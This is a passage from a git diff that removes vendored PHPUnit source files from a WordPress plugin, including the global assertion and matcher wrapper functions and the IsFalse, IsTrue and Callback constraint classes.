(!function_exists('PHPUnit\Framework\assertIsNotString')) { - /** - * Asserts that a variable is not of type string. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !string $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotString - */ - function assertIsNotString($actual, string $message = ''): void - { - Assert::assertIsNotString(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotScalar')) { - /** - * Asserts that a variable is not of type scalar. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !scalar $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotScalar - */ - function assertIsNotScalar($actual, string $message = ''): void - { - Assert::assertIsNotScalar(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotCallable')) { - /** - * Asserts that a variable is not of type callable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !callable $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotCallable - */ - function assertIsNotCallable($actual, string $message = ''): void - { - Assert::assertIsNotCallable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertIsNotIterable')) { - /** - * Asserts that a variable is not of type iterable. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !iterable $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertIsNotIterable - */ - function assertIsNotIterable($actual, string $message = ''): void - { - Assert::assertIsNotIterable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertMatchesRegularExpression')) { - /** - * Asserts that a string matches a given regular expression. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertMatchesRegularExpression - */ - function assertMatchesRegularExpression(string $pattern, string $string, string $message = ''): void - { - Assert::assertMatchesRegularExpression(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertRegExp')) { - /** - * Asserts that a string matches a given regular expression. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4086 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertRegExp - */ - function assertRegExp(string $pattern, string $string, string $message = ''): void - { - Assert::assertRegExp(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertDoesNotMatchRegularExpression')) { - /** - * Asserts that a string does not match a given regular expression. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertDoesNotMatchRegularExpression - */ - function assertDoesNotMatchRegularExpression(string $pattern, string $string, string $message = ''): void - { - Assert::assertDoesNotMatchRegularExpression(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotRegExp')) { - /** - * Asserts that a string does not match a given regular expression. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4089 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotRegExp - */ - function assertNotRegExp(string $pattern, string $string, string $message = ''): void - { - Assert::assertNotRegExp(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertSameSize')) { - /** - * Assert that the size of two arrays (or `Countable` or `Traversable` objects) - * is the same. - * - * @param Countable|iterable $expected - * @param Countable|iterable $actual - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertSameSize - */ - function assertSameSize($expected, $actual, string $message = ''): void - { - Assert::assertSameSize(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotSameSize')) { - /** - * Assert that the size of two arrays (or `Countable` or `Traversable` objects) - * is not the same. - * - * @param Countable|iterable $expected - * @param Countable|iterable $actual - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotSameSize - */ - function assertNotSameSize($expected, $actual, string $message = ''): void - { - Assert::assertNotSameSize(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringMatchesFormat')) { - /** - * Asserts that a string matches a given format string. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringMatchesFormat - */ - function assertStringMatchesFormat(string $format, string $string, string $message = ''): void - { - Assert::assertStringMatchesFormat(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringNotMatchesFormat')) { - /** - * Asserts that a string does not match a given format string. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringNotMatchesFormat - */ - function assertStringNotMatchesFormat(string $format, string $string, string $message = ''): void - { - Assert::assertStringNotMatchesFormat(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringMatchesFormatFile')) { - /** - * Asserts that a string matches a given format file. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringMatchesFormatFile - */ - function assertStringMatchesFormatFile(string $formatFile, string $string, string $message = ''): void - { - Assert::assertStringMatchesFormatFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringNotMatchesFormatFile')) { - /** - * Asserts that a string does not match a given format string. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringNotMatchesFormatFile - */ - function assertStringNotMatchesFormatFile(string $formatFile, string $string, string $message = ''): void - { - Assert::assertStringNotMatchesFormatFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringStartsWith')) { - /** - * Asserts that a string starts with a given prefix. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringStartsWith - */ - function assertStringStartsWith(string $prefix, string $string, string $message = ''): void - { - Assert::assertStringStartsWith(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringStartsNotWith')) { - /** - * Asserts that a string starts not with a given prefix. - * - * @param string $prefix - * @param string $string - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringStartsNotWith - */ - function assertStringStartsNotWith($prefix, $string, string $message = ''): void - { - Assert::assertStringStartsNotWith(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringContainsString')) { - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringContainsString - */ - function assertStringContainsString(string $needle, string $haystack, string $message = ''): void - { - Assert::assertStringContainsString(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringContainsStringIgnoringCase')) { - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringContainsStringIgnoringCase - */ - function assertStringContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void - { - Assert::assertStringContainsStringIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringNotContainsString')) { - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringNotContainsString - */ - function assertStringNotContainsString(string $needle, string $haystack, string $message = ''): void - { - Assert::assertStringNotContainsString(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringNotContainsStringIgnoringCase')) { - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringNotContainsStringIgnoringCase - */ - function assertStringNotContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void - { - Assert::assertStringNotContainsStringIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringEndsWith')) { - /** - * Asserts that a string ends with a given suffix. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringEndsWith - */ - function assertStringEndsWith(string $suffix, string $string, string $message = ''): void - { - Assert::assertStringEndsWith(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringEndsNotWith')) { - /** - * Asserts that a string ends not with a given suffix. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringEndsNotWith - */ - function assertStringEndsNotWith(string $suffix, string $string, string $message = ''): void - { - Assert::assertStringEndsNotWith(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertXmlFileEqualsXmlFile')) { - /** - * Asserts that two XML files are equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertXmlFileEqualsXmlFile - */ - function assertXmlFileEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void - { - Assert::assertXmlFileEqualsXmlFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertXmlFileNotEqualsXmlFile')) { - /** - * Asserts that two XML files are not equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws \PHPUnit\Util\Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertXmlFileNotEqualsXmlFile - */ - function assertXmlFileNotEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void - { - Assert::assertXmlFileNotEqualsXmlFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertXmlStringEqualsXmlFile')) { - /** - * Asserts that two XML documents are equal. - * - * @param DOMDocument|string $actualXml - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws \PHPUnit\Util\Xml\Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertXmlStringEqualsXmlFile - */ - function assertXmlStringEqualsXmlFile(string $expectedFile, $actualXml, string $message = ''): void - { - Assert::assertXmlStringEqualsXmlFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertXmlStringNotEqualsXmlFile')) { - /** - * Asserts that two XML documents are not equal. - * - * @param DOMDocument|string $actualXml - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws \PHPUnit\Util\Xml\Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertXmlStringNotEqualsXmlFile - */ - function assertXmlStringNotEqualsXmlFile(string $expectedFile, $actualXml, string $message = ''): void - { - Assert::assertXmlStringNotEqualsXmlFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertXmlStringEqualsXmlString')) { - /** - * Asserts that two XML documents are equal. - * - * @param DOMDocument|string $expectedXml - * @param DOMDocument|string $actualXml - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws \PHPUnit\Util\Xml\Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertXmlStringEqualsXmlString - */ - function assertXmlStringEqualsXmlString($expectedXml, $actualXml, string $message = ''): void - { - Assert::assertXmlStringEqualsXmlString(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertXmlStringNotEqualsXmlString')) { - /** - * Asserts that two XML documents are not equal. - * - * @param DOMDocument|string $expectedXml - * @param DOMDocument|string $actualXml - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws \PHPUnit\Util\Xml\Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertXmlStringNotEqualsXmlString - */ - function assertXmlStringNotEqualsXmlString($expectedXml, $actualXml, string $message = ''): void - { - Assert::assertXmlStringNotEqualsXmlString(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertEqualXMLStructure')) { - /** - * Asserts that a hierarchy of DOMElements matches. - * - * @throws AssertionFailedError - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4091 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertEqualXMLStructure - */ - function assertEqualXMLStructure(DOMElement $expectedElement, DOMElement $actualElement, bool $checkAttributes = false, string $message = ''): void - { - Assert::assertEqualXMLStructure(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertThat')) { - /** - * Evaluates a PHPUnit\Framework\Constraint matcher object. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertThat - */ - function assertThat($value, Constraint $constraint, string $message = ''): void - { - Assert::assertThat(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertJson')) { - /** - * Asserts that a string is a valid JSON string. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertJson - */ - function assertJson(string $actualJson, string $message = ''): void - { - Assert::assertJson(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertJsonStringEqualsJsonString')) { - /** - * Asserts that two given JSON encoded objects or arrays are equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertJsonStringEqualsJsonString - */ - function assertJsonStringEqualsJsonString(string $expectedJson, string $actualJson, string $message = ''): void - { - Assert::assertJsonStringEqualsJsonString(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertJsonStringNotEqualsJsonString')) { - /** - * Asserts that two given JSON encoded objects or arrays are not equal. - * - * @param string $expectedJson - * @param string $actualJson - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertJsonStringNotEqualsJsonString - */ - function assertJsonStringNotEqualsJsonString($expectedJson, $actualJson, string $message = ''): void - { - Assert::assertJsonStringNotEqualsJsonString(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertJsonStringEqualsJsonFile')) { - /** - * Asserts that the generated JSON encoded object and the content of the given file are equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertJsonStringEqualsJsonFile - */ - function assertJsonStringEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void - { - Assert::assertJsonStringEqualsJsonFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertJsonStringNotEqualsJsonFile')) { - /** - * Asserts that the generated JSON encoded object and the content of the given file are not equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertJsonStringNotEqualsJsonFile - */ - function assertJsonStringNotEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void - { - Assert::assertJsonStringNotEqualsJsonFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertJsonFileEqualsJsonFile')) { - /** - * Asserts that two JSON files are equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertJsonFileEqualsJsonFile - */ - function assertJsonFileEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void - { - Assert::assertJsonFileEqualsJsonFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertJsonFileNotEqualsJsonFile')) { - /** - * Asserts that two JSON files are not equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertJsonFileNotEqualsJsonFile - */ - function assertJsonFileNotEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void - { - Assert::assertJsonFileNotEqualsJsonFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\logicalAnd')) { - function logicalAnd(): LogicalAnd - { - return Assert::logicalAnd(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\logicalOr')) { - function logicalOr(): LogicalOr - { - return Assert::logicalOr(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\logicalNot')) { - function logicalNot(Constraint $constraint): LogicalNot - { - return Assert::logicalNot(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\logicalXor')) { - function logicalXor(): LogicalXor - { - return Assert::logicalXor(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\anything')) { - function anything(): IsAnything - { - return Assert::anything(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isTrue')) { - function isTrue(): IsTrue - { - return Assert::isTrue(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\callback')) { - function callback(callable $callback): Callback - { - return Assert::callback(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isFalse')) { - function isFalse(): IsFalse - { - return Assert::isFalse(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isJson')) { - function isJson(): IsJson - { - return Assert::isJson(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isNull')) { - function isNull(): IsNull - { - return Assert::isNull(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isFinite')) { - function isFinite(): IsFinite - { - return Assert::isFinite(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isInfinite')) { - function isInfinite(): IsInfinite - { - return Assert::isInfinite(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isNan')) { - function isNan(): IsNan - { - return Assert::isNan(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\containsEqual')) { - function containsEqual($value): TraversableContainsEqual - { - return Assert::containsEqual(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\containsIdentical')) { - function containsIdentical($value): TraversableContainsIdentical - { - return Assert::containsIdentical(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\containsOnly')) { - function containsOnly(string $type): TraversableContainsOnly - { - return Assert::containsOnly(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\containsOnlyInstancesOf')) { - function containsOnlyInstancesOf(string $className): TraversableContainsOnly - { - return Assert::containsOnlyInstancesOf(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\arrayHasKey')) { - function arrayHasKey($key): ArrayHasKey - { - return Assert::arrayHasKey(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\equalTo')) { - function equalTo($value): IsEqual - { - return Assert::equalTo(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\equalToCanonicalizing')) { - function equalToCanonicalizing($value): IsEqualCanonicalizing - { - return Assert::equalToCanonicalizing(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\equalToIgnoringCase')) { - function equalToIgnoringCase($value): IsEqualIgnoringCase - { - return Assert::equalToIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\equalToWithDelta')) { - function equalToWithDelta($value, float $delta): IsEqualWithDelta - { - return Assert::equalToWithDelta(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isEmpty')) { - function isEmpty(): IsEmpty - { - return Assert::isEmpty(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isWritable')) { - function isWritable(): IsWritable - { - return Assert::isWritable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isReadable')) { - function isReadable(): IsReadable - { - return Assert::isReadable(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\directoryExists')) { - function directoryExists(): DirectoryExists - { - return Assert::directoryExists(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\fileExists')) { - function fileExists(): FileExists - { - return Assert::fileExists(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\greaterThan')) { - function greaterThan($value): GreaterThan - { - return Assert::greaterThan(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\greaterThanOrEqual')) { - function greaterThanOrEqual($value): LogicalOr - { - return Assert::greaterThanOrEqual(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\classHasAttribute')) { - function classHasAttribute(string $attributeName): ClassHasAttribute - { - return Assert::classHasAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\classHasStaticAttribute')) { - function classHasStaticAttribute(string $attributeName): ClassHasStaticAttribute - { - return Assert::classHasStaticAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\objectHasAttribute')) { - function objectHasAttribute($attributeName): ObjectHasAttribute - { - return Assert::objectHasAttribute(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\identicalTo')) { - function identicalTo($value): IsIdentical - { - return Assert::identicalTo(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isInstanceOf')) { - function isInstanceOf(string $className): IsInstanceOf - { - return Assert::isInstanceOf(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\isType')) { - function isType(string $type): IsType - { - return Assert::isType(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\lessThan')) { - function lessThan($value): LessThan - { - return Assert::lessThan(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\lessThanOrEqual')) { - function lessThanOrEqual($value): LogicalOr - { - return Assert::lessThanOrEqual(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\matchesRegularExpression')) { - function matchesRegularExpression(string $pattern): RegularExpression - { - return Assert::matchesRegularExpression(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\matches')) { - function matches(string $string): StringMatchesFormatDescription - { - return Assert::matches(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\stringStartsWith')) { - function stringStartsWith($prefix): StringStartsWith - { - return Assert::stringStartsWith(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\stringContains')) { - function stringContains(string $string, bool $case = true): StringContains - { - return Assert::stringContains(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\stringEndsWith')) { - function stringEndsWith(string $suffix): StringEndsWith - { - return Assert::stringEndsWith(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\countOf')) { - function countOf(int $count): Count - { - return Assert::countOf(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\objectEquals')) { - function objectEquals(object $object, string $method = 'equals'): ObjectEquals - { - return Assert::objectEquals(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\any')) { - /** - * Returns a matcher that matches when the method is executed - * zero or more times. - */ - function any(): AnyInvokedCountMatcher - { - return new AnyInvokedCountMatcher; - } -} - -if (!function_exists('PHPUnit\Framework\never')) { - /** - * Returns a matcher that matches when the method is never executed. - */ - function never(): InvokedCountMatcher - { - return new InvokedCountMatcher(0); - } -} - -if (!function_exists('PHPUnit\Framework\atLeast')) { - /** - * Returns a matcher that matches when the method is executed - * at least N times. - */ - function atLeast(int $requiredInvocations): InvokedAtLeastCountMatcher - { - return new InvokedAtLeastCountMatcher( - $requiredInvocations, - ); - } -} - -if (!function_exists('PHPUnit\Framework\atLeastOnce')) { - /** - * Returns a matcher that matches when the method is executed at least once. - */ - function atLeastOnce(): InvokedAtLeastOnceMatcher - { - return new InvokedAtLeastOnceMatcher; - } -} - -if (!function_exists('PHPUnit\Framework\once')) { - /** - * Returns a matcher that matches when the method is executed exactly once. - */ - function once(): InvokedCountMatcher - { - return new InvokedCountMatcher(1); - } -} - -if (!function_exists('PHPUnit\Framework\exactly')) { - /** - * Returns a matcher that matches when the method is executed - * exactly $count times. - */ - function exactly(int $count): InvokedCountMatcher - { - return new InvokedCountMatcher($count); - } -} - -if (!function_exists('PHPUnit\Framework\atMost')) { - /** - * Returns a matcher that matches when the method is executed - * at most N times. - */ - function atMost(int $allowedInvocations): InvokedAtMostCountMatcher - { - return new InvokedAtMostCountMatcher($allowedInvocations); - } -} - -if (!function_exists('PHPUnit\Framework\at')) { - /** - * Returns a matcher that matches when the method is executed - * at the given index. - */ - function at(int $index): InvokedAtIndexMatcher - { - return new InvokedAtIndexMatcher($index); - } -} - -if (!function_exists('PHPUnit\Framework\returnValue')) { - function returnValue($value): ReturnStub - { - return new ReturnStub($value); - } -} - -if (!function_exists('PHPUnit\Framework\returnValueMap')) { - function returnValueMap(array $valueMap): ReturnValueMapStub - { - return new ReturnValueMapStub($valueMap); - } -} - -if (!function_exists('PHPUnit\Framework\returnArgument')) { - function returnArgument(int $argumentIndex): ReturnArgumentStub - { - return new ReturnArgumentStub($argumentIndex); - } -} - -if (!function_exists('PHPUnit\Framework\returnCallback')) { - function returnCallback($callback): ReturnCallbackStub - { - return new ReturnCallbackStub($callback); - } -} - -if (!function_exists('PHPUnit\Framework\returnSelf')) { - /** - * Returns the current object. - * - * This method is useful when mocking a fluent interface. - */ - function returnSelf(): ReturnSelfStub - { - return new ReturnSelfStub; - } -} - -if (!function_exists('PHPUnit\Framework\throwException')) { - function throwException(Throwable $exception): ExceptionStub - { - return new ExceptionStub($exception); - } -} - -if (!function_exists('PHPUnit\Framework\onConsecutiveCalls')) { - function onConsecutiveCalls(): ConsecutiveCallsStub - { - $args = func_get_args(); - - return new ConsecutiveCallsStub($args); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php deleted file mode 100644 index 212e2bcb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsFalse extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is false'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return $other === false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php deleted file mode 100644 index e1d6b269..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsTrue extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is true'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return $other === true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Callback.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Callback.php deleted file mode 100644 index b7cf95a1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Callback.php +++ /dev/null @@ -1,52 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -/** - * @psalm-template CallbackInput of mixed - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class Callback extends Constraint -{ - /** - * @var callable - * - * @psalm-var callable(CallbackInput $input): bool - */ - private $callback; - - /** @psalm-param callable(CallbackInput $input): bool $callback */ - public function __construct(callable $callback) - { - $this->callback = $callback; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is accepted by specified callback'; - } - - /** - * Evaluates the constraint for parameter $value. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - * - * @psalm-param CallbackInput $other - */ - protected function matches($other): bool - { - return ($this->callback)($other); - } -} diff --git 